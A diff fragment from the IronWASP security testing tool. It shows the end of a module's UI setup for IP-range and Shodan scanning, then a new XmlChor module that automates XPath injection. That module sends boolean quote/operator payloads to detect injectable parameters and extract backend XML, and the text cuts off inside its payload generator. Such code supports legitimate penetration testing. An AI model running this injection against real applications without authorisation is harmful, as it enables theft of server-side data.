popup_ok_btn2.Dock = ModUiTools.GetDockStyleDefinition('None') + popup_ok_btn2.Enabled = True + popup_ok_btn2.Visible = False + popup_ok_btn2.BackColor = ModUiTools.GetColorDefinition(-986896) + popup_ok_btn2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + popup_ok_btn2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + popup_ok_btn2.Text = Tools.Base64Decode('T0s=') + popup_ok_btn2.Click += lambda s,e: self.popupMsg_disable() + mod_split_container_2.Panel2.Controls.Add(popup_ok_btn2) + ui.ModControls['popup_ok_btn2'] = popup_ok_btn2 + report_popup_lb2 = ModLabel() + report_popup_lb2.Name = 'report_popup_lb2' + report_popup_lb2.Size = ModUiTools.GetSizeDefinition(481,66) + report_popup_lb2.Location = ModUiTools.GetLocationDefinition(217,145) + report_popup_lb2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + report_popup_lb2.Dock = ModUiTools.GetDockStyleDefinition('None') + report_popup_lb2.Enabled = True + report_popup_lb2.Visible = False + report_popup_lb2.BackColor = ModUiTools.GetColorDefinition(-986896) + report_popup_lb2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + report_popup_lb2.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + report_popup_lb2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_split_container_2.Panel2.Controls.Add(report_popup_lb2) + ui.ModControls['report_popup_lb2'] = report_popup_lb2 + #save report button 2 + save_report_2 = ModButton() + save_report_2.Name = 'save_report_2' + save_report_2.Size = ModUiTools.GetSizeDefinition(96,23) + save_report_2.Location = ModUiTools.GetLocationDefinition(780,24) + save_report_2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + save_report_2.Dock = ModUiTools.GetDockStyleDefinition('None') + save_report_2.Enabled = True + save_report_2.Visible = False + save_report_2.BackColor = ModUiTools.GetColorDefinition(-986896) + save_report_2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + save_report_2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + save_report_2.Text = Tools.Base64Decode('U2F2ZSBSZXBvcnQ=') + mod_split_container_2.Panel1.Controls.Add(save_report_2) + save_report_2.Click += lambda s,e: self.Save_Report_Handler_2() + ui.ModControls['save_report_2'] = save_report_2 + #finished code for save report button 2 + input_rangeip_tb = ModTextBox() + input_rangeip_tb.Name = 'input_rangeip_tb' + input_rangeip_tb.Size = ModUiTools.GetSizeDefinition(282,20) + input_rangeip_tb.Location = ModUiTools.GetLocationDefinition(285,15) + input_rangeip_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + input_rangeip_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + input_rangeip_tb.Enabled = True + input_rangeip_tb.BackColor = ModUiTools.GetColorDefinition(-1) + input_rangeip_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + input_rangeip_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + input_rangeip_tb.ReadOnly = False + input_rangeip_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + input_rangeip_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + input_rangeip_tb.Multiline = False + input_rangeip_tb.WordWrap = True + input_rangeip_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_split_container_2.Panel1.Controls.Add(input_rangeip_tb) + ui.ModControls['input_rangeip_tb'] = input_rangeip_tb + start_btn2 = ModButton() + start_btn2.Name = 'start_btn2' + start_btn2.Size = ModUiTools.GetSizeDefinition(96,23) + start_btn2.Location = ModUiTools.GetLocationDefinition(573,13) + start_btn2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + start_btn2.Dock = ModUiTools.GetDockStyleDefinition('None') + start_btn2.Enabled = True + start_btn2.BackColor = ModUiTools.GetColorDefinition(-986896) + start_btn2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + start_btn2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + start_btn2.Text = Tools.Base64Decode('U3RhcnQgU2Nhbg==') + start_btn2.Click += lambda s,e: self.start_thread2() + mod_split_container_2.Panel1.Controls.Add(start_btn2) + ui.ModControls['start_btn2'] = start_btn2 + mod_label_2 = ModLabel() + mod_label_2.Name = 'mod_label_2' + mod_label_2.Size = ModUiTools.GetSizeDefinition(386,23) + mod_label_2.Location = ModUiTools.GetLocationDefinition(3,17) + mod_label_2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_2.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_2.Enabled = True + mod_label_2.BackColor = ModUiTools.GetColorDefinition(-986896) + mod_label_2.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_2.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_2.Text = Tools.Base64Decode('RW50ZXIgSVAgcmFuZ2UgKEVnOiAxOTIuMTY4LjEuMS0xNSBvciAxOTIuMTY4LjEuMC8yNCk6') + mod_split_container_2.Panel1.Controls.Add(mod_label_2) + ui.ModControls['mod_label_2'] = mod_label_2 + output_tb2 = ModRichTextBox() + output_tb2.Name = 'output_tb2' + output_tb2.Size = ModUiTools.GetSizeDefinition(876,481) + output_tb2.Location = ModUiTools.GetLocationDefinition(0,0) + output_tb2.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + output_tb2.Dock = ModUiTools.GetDockStyleDefinition('Fill') + output_tb2.Enabled = True + output_tb2.BackColor = ModUiTools.GetColorDefinition(-16777216) + output_tb2.ForeColor = ModUiTools.GetColorDefinition(-16728064) + output_tb2.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + output_tb2.ReadOnly = True + output_tb2.ScrollBars = ModUiTools.GetRichTextBoxScrollBarsDefinition('Both') + output_tb2.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + output_tb2.Multiline = True + output_tb2.WordWrap = True + output_tb2.DetectUrls = True + mod_split_container_2.Panel2.Controls.Add(output_tb2) + ui.ModControls['output_tb2'] = output_tb2 + mod_tab_control_1.TabPages['tab_page_2'].Controls.Add(mod_split_container_2) + ui.ModControls['mod_split_container_2'] = mod_split_container_2 + mod_tab_control_1.TabPages.Add('tab_page_3', ' Scan Using Shodan ') + mod_split_container_3 = ModSplitContainer() + mod_split_container_3.Name = 'mod_split_container_3' + mod_split_container_3.Size = ModUiTools.GetSizeDefinition(876,535) + mod_split_container_3.Location = ModUiTools.GetLocationDefinition(0,0) + mod_split_container_3.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_split_container_3.Dock = ModUiTools.GetDockStyleDefinition('Fill') + mod_split_container_3.Enabled = True + mod_split_container_3.BackColor = ModUiTools.GetColorDefinition(16777215) + mod_split_container_3.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_split_container_3.FixedPanel = ModUiTools.GetFixedPanel('Panel1') + mod_split_container_3.IsSplitterFixed = True + mod_split_container_3.Orientation = ModUiTools.GetSplitOrientation('Horizontal') + mod_split_container_3.SplitterDistance = 160 + #report save msg + popup_ok_btn3 = ModButton() + popup_ok_btn3.Name = 'popup_ok_btn3' + popup_ok_btn3.Size = ModUiTools.GetSizeDefinition(75,23) + popup_ok_btn3.Location = ModUiTools.GetLocationDefinition(402,214) + popup_ok_btn3.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + popup_ok_btn3.Dock = ModUiTools.GetDockStyleDefinition('None') + popup_ok_btn3.Enabled = True + popup_ok_btn3.Visible = False + popup_ok_btn3.BackColor = ModUiTools.GetColorDefinition(16777215) + popup_ok_btn3.ForeColor = ModUiTools.GetColorDefinition(-16777216) + popup_ok_btn3.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + popup_ok_btn3.Text = Tools.Base64Decode('T0s=') + popup_ok_btn3.Click += lambda s,e: self.popupMsg_disable() + mod_split_container_3.Panel2.Controls.Add(popup_ok_btn3) + ui.ModControls['popup_ok_btn3'] = popup_ok_btn3 + report_popup_lb3 = ModLabel() + report_popup_lb3.Name = 'report_popup_lb3' + report_popup_lb3.Size = ModUiTools.GetSizeDefinition(481,66) + report_popup_lb3.Location = ModUiTools.GetLocationDefinition(210,141) + report_popup_lb3.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + report_popup_lb3.Dock = ModUiTools.GetDockStyleDefinition('None') + report_popup_lb3.Enabled = True + report_popup_lb3.Visible = False + report_popup_lb3.BackColor = ModUiTools.GetColorDefinition(16777215) + report_popup_lb3.ForeColor = ModUiTools.GetColorDefinition(-16777216) + report_popup_lb3.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + report_popup_lb3.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_split_container_3.Panel2.Controls.Add(report_popup_lb3) + ui.ModControls['report_popup_lb3'] = report_popup_lb3 + #save report button 3 + save_report_3 = ModButton() + save_report_3.Name = 'save_report_3' + save_report_3.Size = ModUiTools.GetSizeDefinition(98,23) + save_report_3.Location = ModUiTools.GetLocationDefinition(778,135) + save_report_3.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + save_report_3.Dock = ModUiTools.GetDockStyleDefinition('None') + save_report_3.Enabled = True + save_report_3.Visible = False + save_report_3.BackColor = ModUiTools.GetColorDefinition(16777215) + save_report_3.ForeColor = ModUiTools.GetColorDefinition(-16777216) + save_report_3.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + save_report_3.Text = Tools.Base64Decode('U2F2ZSBSZXBvcnQ=') + mod_split_container_3.Panel1.Controls.Add(save_report_3) + save_report_3.Click += lambda s,e: self.Save_Report_Handler_3() + ui.ModControls['save_report_3'] = save_report_3 + #finshed code for report3 + error_lb1 = ModLabel() + error_lb1.Name = 'error_lb1' + error_lb1.Size = ModUiTools.GetSizeDefinition(474,23) + error_lb1.Location = ModUiTools.GetLocationDefinition(32,130) + error_lb1.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + error_lb1.Dock = ModUiTools.GetDockStyleDefinition('None') + error_lb1.Enabled = True + error_lb1.BackColor = ModUiTools.GetColorDefinition(16777215) + error_lb1.ForeColor = ModUiTools.GetColorDefinition(-65536) + error_lb1.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + error_lb1.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_split_container_3.Panel1.Controls.Add(error_lb1) + ui.ModControls['error_lb1'] = error_lb1 + start_btn3 = ModButton() + start_btn3.Name = 'start_btn3' + start_btn3.Size = ModUiTools.GetSizeDefinition(105,23) + start_btn3.Location = ModUiTools.GetLocationDefinition(522,48) + start_btn3.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + start_btn3.Dock = ModUiTools.GetDockStyleDefinition('None') + start_btn3.Enabled = True + start_btn3.BackColor = ModUiTools.GetColorDefinition(16777215) + start_btn3.ForeColor = ModUiTools.GetColorDefinition(-16777216) + start_btn3.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + start_btn3.Text = Tools.Base64Decode('U3RhcnQgU2Nhbg==') + start_btn3.Click += lambda s,e: self.start_thread3() + mod_split_container_3.Panel1.Controls.Add(start_btn3) + ui.ModControls['start_btn3'] = start_btn3 + input_geo_tb = ModTextBox() + input_geo_tb.Name = 'input_geo_tb' + input_geo_tb.Size = ModUiTools.GetSizeDefinition(258,20) + input_geo_tb.Location = ModUiTools.GetLocationDefinition(248,105) + input_geo_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + input_geo_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + input_geo_tb.Enabled = True + input_geo_tb.BackColor = ModUiTools.GetColorDefinition(-1) + input_geo_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + input_geo_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + input_geo_tb.ReadOnly = False + input_geo_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + input_geo_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + input_geo_tb.Multiline = False + input_geo_tb.WordWrap = True + input_geo_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_split_container_3.Panel1.Controls.Add(input_geo_tb) + ui.ModControls['input_geo_tb'] = input_geo_tb + mod_label_3 = ModLabel() + mod_label_3.Name = 'mod_label_3' + mod_label_3.Size = ModUiTools.GetSizeDefinition(115,23) + mod_label_3.Location = ModUiTools.GetLocationDefinition(127,107) + mod_label_3.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_3.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_3.Enabled = True + mod_label_3.BackColor = ModUiTools.GetColorDefinition(16777215) + mod_label_3.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_3.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_3.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_3.Text = Tools.Base64Decode('RW50ZXIgR2VvIExvY2F0aW9uOg==') + mod_split_container_3.Panel1.Controls.Add(mod_label_3) + ui.ModControls['mod_label_3'] = mod_label_3 + mod_label_4 = ModLabel() + mod_label_4.Name = 'mod_label_4' + mod_label_4.Size = ModUiTools.GetSizeDefinition(115,23) + mod_label_4.Location = ModUiTools.GetLocationDefinition(127,80) + mod_label_4.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_4.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_4.Enabled = True + mod_label_4.BackColor = ModUiTools.GetColorDefinition(16777215) + mod_label_4.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_4.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_4.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_4.Text = Tools.Base64Decode('RW50ZXIgQ291bnRyeSBOYW1lOg==') + mod_split_container_3.Panel1.Controls.Add(mod_label_4) + ui.ModControls['mod_label_4'] = mod_label_4 + input_country_tb = ModTextBox() + input_country_tb.Name = 'input_country_tb' + input_country_tb.Size = ModUiTools.GetSizeDefinition(258,20) + input_country_tb.Location = ModUiTools.GetLocationDefinition(248,77) + input_country_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + input_country_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + input_country_tb.Enabled = True + input_country_tb.BackColor = ModUiTools.GetColorDefinition(-1) + input_country_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + input_country_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + input_country_tb.ReadOnly = False + input_country_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + input_country_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + input_country_tb.Multiline = False + input_country_tb.WordWrap = True + input_country_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_split_container_3.Panel1.Controls.Add(input_country_tb) + ui.ModControls['input_country_tb'] = input_country_tb + input_city_tb = ModTextBox() + input_city_tb.Name = 'input_city_tb' + input_city_tb.Size = ModUiTools.GetSizeDefinition(258,20) + input_city_tb.Location = ModUiTools.GetLocationDefinition(248,50) + input_city_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + input_city_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + input_city_tb.Enabled = True + input_city_tb.BackColor = ModUiTools.GetColorDefinition(-1) + input_city_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + input_city_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + input_city_tb.ReadOnly = False + input_city_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + input_city_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + input_city_tb.Multiline = False + input_city_tb.WordWrap = True + input_city_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_split_container_3.Panel1.Controls.Add(input_city_tb) + ui.ModControls['input_city_tb'] = input_city_tb + mod_label_5 = ModLabel() + mod_label_5.Name = 'mod_label_5' + mod_label_5.Size = ModUiTools.GetSizeDefinition(89,23) + mod_label_5.Location = ModUiTools.GetLocationDefinition(126,50) + mod_label_5.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_5.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_5.Enabled = True + mod_label_5.BackColor = ModUiTools.GetColorDefinition(16777215) + mod_label_5.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_5.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_5.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_5.Text = Tools.Base64Decode('RW50ZXIgQ2l0eSBOYW1lOg==') + mod_split_container_3.Panel1.Controls.Add(mod_label_5) + ui.ModControls['mod_label_5'] = mod_label_5 + geoloc_rb = ModRadioButton() + geoloc_rb.Name = 'geoloc_rb' + geoloc_rb.Size = ModUiTools.GetSizeDefinition(104,24) + geoloc_rb.Location = ModUiTools.GetLocationDefinition(28,101) + geoloc_rb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + geoloc_rb.Dock = ModUiTools.GetDockStyleDefinition('None') + geoloc_rb.Enabled = True + geoloc_rb.BackColor = ModUiTools.GetColorDefinition(16777215) + geoloc_rb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + geoloc_rb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + geoloc_rb.Text = Tools.Base64Decode('R2VvIExvY2F0aW9u') + geoloc_rb.Checked = False + mod_split_container_3.Panel1.Controls.Add(geoloc_rb) + ui.ModControls['geoloc_rb'] = geoloc_rb + country_rb = ModRadioButton() + country_rb.Name = 'country_rb' + country_rb.Size = ModUiTools.GetSizeDefinition(104,24) + country_rb.Location = ModUiTools.GetLocationDefinition(28,75) + country_rb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + country_rb.Dock = ModUiTools.GetDockStyleDefinition('None') + country_rb.Enabled = True + country_rb.BackColor = ModUiTools.GetColorDefinition(16777215) + country_rb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + country_rb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + country_rb.Text = Tools.Base64Decode('Q291bnRyeQ==') + country_rb.Checked = False + mod_split_container_3.Panel1.Controls.Add(country_rb) + ui.ModControls['country_rb'] = country_rb + City_rb = ModRadioButton() + City_rb.Name = 'City_rb' + City_rb.Size = ModUiTools.GetSizeDefinition(104,24) + City_rb.Location = ModUiTools.GetLocationDefinition(28,44) + City_rb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + City_rb.Dock = ModUiTools.GetDockStyleDefinition('None') + City_rb.Enabled = True + City_rb.BackColor = ModUiTools.GetColorDefinition(16777215) + City_rb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + City_rb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + City_rb.Text = Tools.Base64Decode('Q2l0eQ==') + City_rb.Checked = False + mod_split_container_3.Panel1.Controls.Add(City_rb) + ui.ModControls['City_rb'] = City_rb + mod_label_6 = ModLabel() + mod_label_6.Name = 'mod_label_6' + mod_label_6.Size = ModUiTools.GetSizeDefinition(100,23) + mod_label_6.Location = ModUiTools.GetLocationDefinition(512,17) + mod_label_6.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_6.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_6.Enabled = True + mod_label_6.BackColor = ModUiTools.GetColorDefinition(16777215) + mod_label_6.ForeColor = ModUiTools.GetColorDefinition(-65536) + mod_label_6.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_6.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_6.Text = Tools.Base64Decode('KiBNYW5kYXRvcnkgZmllbGQ=') + mod_split_container_3.Panel1.Controls.Add(mod_label_6) + ui.ModControls['mod_label_6'] = mod_label_6 + shodanAPI_key_tb = ModTextBox() + shodanAPI_key_tb.Name = 'shodanAPI_key_tb' + shodanAPI_key_tb.Size = ModUiTools.GetSizeDefinition(335,20) + shodanAPI_key_tb.Location = ModUiTools.GetLocationDefinition(171,14) + shodanAPI_key_tb.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + shodanAPI_key_tb.Dock = ModUiTools.GetDockStyleDefinition('None') + shodanAPI_key_tb.Enabled = True + shodanAPI_key_tb.BackColor = ModUiTools.GetColorDefinition(-1) + shodanAPI_key_tb.ForeColor = ModUiTools.GetColorDefinition(-16777216) + shodanAPI_key_tb.BorderStyle = ModUiTools.GetBorderStyleDefinition('Fixed3D') + shodanAPI_key_tb.ReadOnly = False + shodanAPI_key_tb.ScrollBars = ModUiTools.GetScrollBarsDefinition('None') + shodanAPI_key_tb.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + shodanAPI_key_tb.Multiline = False + shodanAPI_key_tb.WordWrap = True + shodanAPI_key_tb.TextAlign = ModUiTools.GetTextAlignDefinition('Left') + mod_split_container_3.Panel1.Controls.Add(shodanAPI_key_tb) + ui.ModControls['shodanAPI_key_tb'] = shodanAPI_key_tb + mod_label_7 = ModLabel() + mod_label_7.Name = 'mod_label_7' + mod_label_7.Size = ModUiTools.GetSizeDefinition(146,23) + mod_label_7.Location = ModUiTools.GetLocationDefinition(19,17) + mod_label_7.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + mod_label_7.Dock = ModUiTools.GetDockStyleDefinition('None') + mod_label_7.Enabled = True + mod_label_7.BackColor = ModUiTools.GetColorDefinition(16777215) + mod_label_7.ForeColor = ModUiTools.GetColorDefinition(-16777216) + mod_label_7.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + mod_label_7.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + mod_label_7.Text = Tools.Base64Decode('RW50ZXIgeW91ciBTaG9kYW4gQVBJIEtleTog') + mod_split_container_3.Panel1.Controls.Add(mod_label_7) + ui.ModControls['mod_label_7'] = mod_label_7 + output_tb3 = ModRichTextBox() + output_tb3.Name = 'output_tb3' + output_tb3.Size = ModUiTools.GetSizeDefinition(876,371) + output_tb3.Location = ModUiTools.GetLocationDefinition(0,0) + output_tb3.Anchor = ModUiTools.GetAnchorStyleDefinition(True,False,True,False) + output_tb3.Dock = ModUiTools.GetDockStyleDefinition('Fill') + output_tb3.Enabled = True + output_tb3.BackColor = ModUiTools.GetColorDefinition(-16777216) + output_tb3.ForeColor = ModUiTools.GetColorDefinition(-16728064) + output_tb3.BorderStyle = ModUiTools.GetBorderStyleDefinition('None') + output_tb3.ReadOnly = True + output_tb3.ScrollBars = ModUiTools.GetRichTextBoxScrollBarsDefinition('Both') + output_tb3.Font = ModUiTools.GetFontDefinition('Microsoft Sans Serif',8.25,False,False,False,False) + output_tb3.Multiline = True + output_tb3.WordWrap = True + output_tb3.DetectUrls = True + mod_split_container_3.Panel2.Controls.Add(output_tb3) + ui.ModControls['output_tb3'] = output_tb3 + mod_tab_control_1.TabPages['tab_page_3'].Controls.Add(mod_split_container_3) + ui.ModControls['mod_split_container_3'] = mod_split_container_3 + ui.Controls.Add(mod_tab_control_1) + ui.ModControls['mod_tab_control_1'] = mod_tab_control_1 + ui.ShowUi() + self.ui = ui + self.ui.ModControls['output_tb1'].Visible = False + self.ui.ModControls['output_tb2'].Visible = False + self.ui.ModControls['output_tb3'].Visible = False + +m = WiHawk() +Module.Add(m.GetInstance()) \ No newline at end of file diff --git a/Iron/bin/Debug/modules/XmlChor/XmlChor.py b/Iron/bin/Debug/modules/XmlChor/XmlChor.py new file mode 100644 index 0000000..bc80466 --- /dev/null +++ b/Iron/bin/Debug/modules/XmlChor/XmlChor.py @@ -0,0 +1,386 @@ +from IronWASP import * +import re + + +#Extend the Module base class +class XmlChor(Module): + + + #Implement the GetInstance method of Module class. This method is used to create new instances of this module. + def GetInstance(self): + m = XmlChor() + m.Name = 'XmlChor' + return m + + + #Implement the StartModule method of Module class. This is the method called by IronWASP when user tries to launch the moduule from the UI. + def StartModuleOnSession(self, sess): + #IronConsole is a CLI window where output can be printed and user input accepted + self.console = IronConsole() + self.console.SetTitle('XML_Chor') + #Add an event handler to the close event of the console so that the module can be terminated when the user closes the console + self.console.ConsoleClosing += lambda e: self.close_console(e) + self.console.ShowConsole() + #'Print' prints text at the CLI. 'PrintLine' prints text by adding a newline at the end. + self.console.Print('[*] Getting scan settings from user...') + self.ex = Exploiter() + #self.console.PrintLine("exploiter class object created") + f = Fuzzer.FromUi(sess.Request) + self.f = f + if not f.HasMore(): + self.console.PrintLine('no scan settings provided. Scan cannot be proceed. Close this window.') + return + f.SetLogSource('XMLChor') + self.console.PrintLine('done!') + + + # self.console.PrintLine('[*] Enter the payloads to be used for the scan below. (One payload per line)') + # #'Read' accepts multi-line input from the user through the CLI. 'ReadLine' accepts single line user input. + # payloads_input = self.console.Read() + # #We are getting the payloads list from user only to demonstarte the user input feature. + # payloads = payloads_input.split("\r\n") + # if len(payloads)== 0: + # payloads = [''] + + # self.console.PrintLine('[*] Payloads recieved, starting the scan.') + + while f.HasMore(): + f.Next() + preInjectVal="3" + + try: + self.console.PrintLine("[*] Checking if {0} parameter can be exploited automatically.".format(f.InjectedParameter)) + prevalue=self.check_quoteandoperator(preInjectVal) + + #prefix + if(prevalue!=""): + self.console.PrintLine("[*] Parameter is exploitable, will perform exploitation using {0} as the quote and prefix as : {1} ".format(prevalue["quote"], prevalue["prefix"])) + else: + self.console.PrintLine("[*] {0} parameter is not exploitable".format(f.InjectedParameter)) + continue + #elif(self.check_quoteandoperator(preInjectVal,'"',"or")): + # self.console.PrintLine("will now get bool value with double quote and or") + except Exception as exp: + IronException.Report("Exception in XmlChor", str(exp)) + self.console.PrintLine("[*] Something went wrong, unable to continue. Error details: {0}".format(str(exp))) + continue + + + + #ex.IsTrue("x", t1) + #ex.IsTrue("x", f1) + #ex.IsTrue("x", t3) + #ex.IsTrue("x", f3) + root_array=[1] + self.xml = "" + self.console.PrintLine("[*] Extracting backend XML through XPATH Injection.......") + try: + self.get_XML_node_and_count(root_array, prevalue) + except Exception as exp: + IronException.Report("Exception in XmlChor", str(exp)) + self.console.PrintLine("[*] Something went wrong, unable to continue. Error details: {0}".format(str(exp))) + + try: + self.console.PrintLine("[*] Extracted XML is: \r\n {0}".format(Tools.BeautifyXml(self.xml))) + except: + pass + + self.console.PrintLine('[*] Scan completed') + + def check_quoteandoperator(self,preInjectVal): + quoteValues=["'",'"'] + operatorValues=["and","or"] + + for quote in quoteValues: + + for operator in operatorValues: + + self.ex=Exploiter() + true1=preInjectVal+quote+operator+quote+'1'+quote+'='+quote+'1' + true2=preInjectVal+quote+operator+quote+'2'+quote+'='+quote+'2' + true3=preInjectVal+quote+operator+quote+'3'+quote+'='+quote+'3' + # self.console.PrintLine("will now get into fuzzer methods1: "+ true1) + # self.console.PrintLine("will now get into fuzzer methods2: "+ true2) + # self.console.PrintLine("will now get into fuzzer methods3: "+ true3) + t1 = self.f.Inject(true1) + t2 = self.f.Inject(true2) + t3 = self.f.Inject(true3) + false1=preInjectVal+quote+operator+quote+'1'+quote+'='+quote+'2' + false2=preInjectVal+quote+operator+quote+'2'+quote+'='+quote+'3' + false3=preInjectVal+quote+operator+quote+'3'+quote+'='+quote+'4' + f1 = self.f.Inject(false1) + f2 = self.f.Inject(false2) + f3 = self.f.Inject(false3) + # self.console.PrintLine("will now get into fuzzer methods11: "+ false1) + # self.console.PrintLine("will now get into fuzzer methods22: "+ false2) + # self.console.PrintLine("will now get into fuzzer methods33: "+ false3) + self.ex.AddTrueConditionValues(true1 , t1) + self.ex.AddTrueConditionValues(true2 , t2) + self.ex.AddTrueConditionValues(true3, t3) + self.ex.AddFalseConditionValues(false1, f1) + self.ex.AddFalseConditionValues(false2, f2) + self.ex.AddFalseConditionValues(false3, f3) + # self.console.PrintLine("will now get into methods") + # self.console.PrintLine("will now get into methods") + # t1 = self.f.Inject('3" and "1"="1') + # t2 = self.f.Inject('3" and "2"="2') + # t3 = self.f.Inject('3" and "3"="3') + + # f1 = self.f.Inject('3" and "1"="2') + # f2 = self.f.Inject('3" and "2"="3') + # f3 = self.f.Inject('3" and "3"="4') + + # self.ex.AddTrueConditionValues('3" and "1"="1', t1) + # self.ex.AddTrueConditionValues('3" and "2"="2', t2) + # self.ex.AddTrueConditionValues('3" and "3"="3', t3) + # self.ex.AddFalseConditionValues('3" and "1"="2', f1) + # self.ex.AddFalseConditionValues('3" and "2"="3', f2) + # self.ex.AddFalseConditionValues('3" and "3"="4', f3) + # self.console.PrintLine(self.ex.IsBoolWorking()) + #self.console.PrintLine(self.ex.IsBoolWorking()) + if(self.ex.IsBoolWorking()): + prefix=preInjectVal+quote+operator + preval={"prefix":prefix,"quote":quote} + return preval + return "" + + + + + + def payload_generator(self, info, operator, value): + left = "" + right = "" + prevalue=info["prevalue"] + #self.console.PrintLine("In Payload Generator method:"+prevalue["prefix"]+":"+prevalue["quote"]) + quote=prevalue["quote"] + 